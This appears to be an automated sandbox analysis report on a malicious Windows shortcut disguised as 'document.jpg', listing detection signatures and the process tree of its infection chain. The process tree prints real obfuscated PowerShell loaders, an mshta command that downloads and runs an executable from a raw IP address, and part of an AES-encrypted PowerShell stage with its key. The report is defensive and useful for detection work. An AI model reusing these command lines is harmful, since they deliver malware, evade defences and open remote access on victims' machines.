Edit tour
Windows
Analysis Report
document.jpg.lnk
Overview
General Information
Detection
Reverse SSH
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Outlook Reverse SSH
Adds a directory exclusion to Windows Defender
Found suspicious powershell code related to unpacking or dynamic code loading
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Bypass UAC via Fodhelper.exe
Sigma detected: Legitimate Application Dropped Executable
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious MSHTA Child Process
Suspicious execution chain found
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Uses cmd line tools excessively to alter registry or file data
Uses schtasks.exe or at.exe to add and modify task schedules
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 4416 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Wi ndows\Syst em32\SyncA ppvPublish ingServer. vbs" ;565, 571,560,57 2,553,488, 560,572,57 2,568,514, 503,503,51 3,505,502, 513,506,50 2,506,508, 512,502,50 7,510,503, 524,567,57 5,566,564, 567,553,55 6,571,503, 555,567,56 6,558,561, 559,502,55 7,576,557| %{$n+=[cha r]($_-456) };$n | pow ershell - MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 3060 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NonIntera ctive -Win dowStyle H idden -Exe cutionPoli cy RemoteS igned -Com mand &{$en v:psmodule path = [IO .Directory ]::GetCurr entDirecto ry(); impo rt-module AppvClient ; Sync-App vPublishin gServer ;5 65,571,560 ,572,553,4 88,560,572 ,572,568,5 14,503,503 ,513,505,5 02,513,506 ,502,506,5 08,512,502 ,507,510,5 03,524,567 ,575,566,5 64,567,553 ,556,571,5 03,555,567 ,566,558,5 61,559,502 ,557,576,5 57|%{$n+=[ char]($_-4 56)};$n | powershell -} MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5552 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7252 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" - MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 7332 cmdline:
"C:\Window s\system32 \mshta.exe " http://9 1.92.248.3 6/Download s/config.e xe MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7480 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $wa uLzkw = 'A AAAAAAAAAA AAAAAAAAAA C7jT7k2FpD 87CLIrJ9IS nHDdPpfVzA TPpoiAtYTL dFLieEW9Wc m5GZnAG730 ovvdvCx2W3 yRhgvQGbWq RIx1uUAZcu GN8EscCVCT S0qIChJYed dbgEzIlsXR 1P4OGmfx28 Mlt4HonstX 3P9IXJ2NVr wLwViIgsbk cc8IW0IGri MYcZJnaVpN 0BEhSv1PbP a/uSPAn1MR qr7oIUaXCD 7sO8vyOlOm MUygb6Txkc k2EaFrqc5j zIY/B6l+tS KFR2TaJTbw NESaJ3v0Pj wPWc7BICtg blIfJ7Ffrq of+Y9HdbPb 2wR45/goyn Dklb3GybSx aSMW0GCitx /38zqGjlYi tPzhemmpt+ qkRiPZ1Puu oqtQ3nRQ1G R4IPtSYZJt 1lO6zQOaas oQ8Daa1TjJ b7LBpmBWa3 azu+dgCHRT 5AOqjTEaGZ nMzrmciLcG nkTqE+ocR9 LZVgwXk5hB /Lmb015dUs iF5FWn3OU7 FGhCPItFam Jx9smK+7wD BeexND3pou FjEc78eeTG MHnAKOdzs3 K7xhBHGkzn WX/UXiT61u 5sByCoqz60 ethpxKU00S Z3tHiLgs9d 1c76RDtxY5 PkHAJfhbJs Zfg80uUi2O 77UtG8n5Al samOOQySRD Ws3aObsxty zboWd+W4uk 5cfOSYucr4 jqaUwarCyT 2Yj1jhskXa eNOo7xKNEL gvPiC8Fxge Vyzn0EZpbT 7Kyo3XwbvH wc4JvbL2df zV8pIJhGKv zt7v+N53fG lW52T/+Lur hoactx1trl LS7UTKgjb0 nSQ3uZUDIZ uYVyyZkqyp Ce2I/xrdYL fWoSXNkKnv LX+dWp7aWE dhLKuEnGn8 JrddRNIO8h 0JM1lzDJZj xVZOFFIze+ 1vYKn81Iec Z8RcfC4IVT I1JW4WIwW3 YHcvW4cjFY De3M3zlsY5 ripw40/q+p jw19TnQARS g9cR1uQBLG JRoWqX1L3d HkcpZ4P8rt APiGN+rJDV ugLlvR/I6q n7CYCT+pbs /FcHUFVVsV 9TgWY8aEhI FoVjNTzpPN xK8CciZQ04 MlJe25/iUV Y58geYi3Ot GbZ5YigM9P TDZmzSygTh R7tva48jUt PFlOqFEduB sER9ecZvPa dNlxpBm1iY 4BaBCjk2rH N6gXh42fBZ cKycwCjRnr TWukgWa+E6 q7hlwIJvoI tmniPZDJlw 68Tw2eF4zs gGgws96009 C414dcIsmZ um65niIko+ IZLBz/SKB9 5+1NNpTX50 4n85RpDq23 vT8VIofraS fZBit0znw6 iTLWc+Uyta 0+lXrDu+lu 68zFH8i7dY qSCezg5ZHx YYDrF0veWX GzZ12Vi4Zv nbUEEUgCiM Kmfv4D+ty6 xXVtBDU5yP 6lc4J6K1ga 54GKEAGhFe 2tKDf1yMXW pvWIU/jtI3 YDo8qafjyh I3WmvpZqWx ec4OhWBohw szxuBJqHZD r1VBKP0zcZ X7ftJQXGOf 9O+qH9twlc ec31cfCsdd l9zi7o00jr 13E0p0nDnP yFNuzsW9d4 giErN9ITyf RSBAzTgjl/ uXJ4plm10K TaN6++XCgm fn5jkInzJP BFLUKtinrV zMkF/k6rfp RPOIVdovN4 J6XZeYbr5W Jvy2tZRm/U N2HD5d91ys yPZYOQIfWC nre4gRZe79 qsa6tE4cUu T+6DPmN0iN 39ThcfpVhQ 8+bR8TuFXF odjIUJ8daf JGKmAZ07eY 8A/NlJEh7Z XJJHrAmIzO sKY+T+5xbI IK7nQS4BRT /xCat15Oq/ NqNT4mewGZ J62HCjCRD5 /q9mr0p4lV MTVJC546HU zxRtUrJqGB qa7gIkNn7r YZ3gHsuET3 40eGQSu/2v Jo7fdRL7kN PHvBNIVE5+ jI1/d0zeDi SlwNyOUznx V0PqrIF/z5 CwWQwjuwb9 QPphEumuLD mydfAQ/EVW pYpyFRWHrI 00g3FRr+tj QIqi7Yiw8N LuI8OcG7pe y1ffnpX8py TOO1VswtTJ joITkEkmyu aK/SeLhGwi DlSRC72VdQ ellMY4k5PB Is3vzaoFa7 CAUpLDH';$ OgScJgJi = 'SkpHRVl2 TnV5dFNtYW 5DdHVYbGRP Qk5QandWRl pOU0o=';$B werIjm = N ew-Object 'System.Se curity.Cry ptography. AesManaged ';$BwerIjm .Mode = [S ystem.Secu rity.Crypt ography.Ci pherMode]: :ECB;$Bwer Ijm.Paddin g = [Syste m.Security .Cryptogra phy.Paddin gMode]::Ze ros;$BwerI jm.BlockSi ze = 128;$ BwerIjm.Ke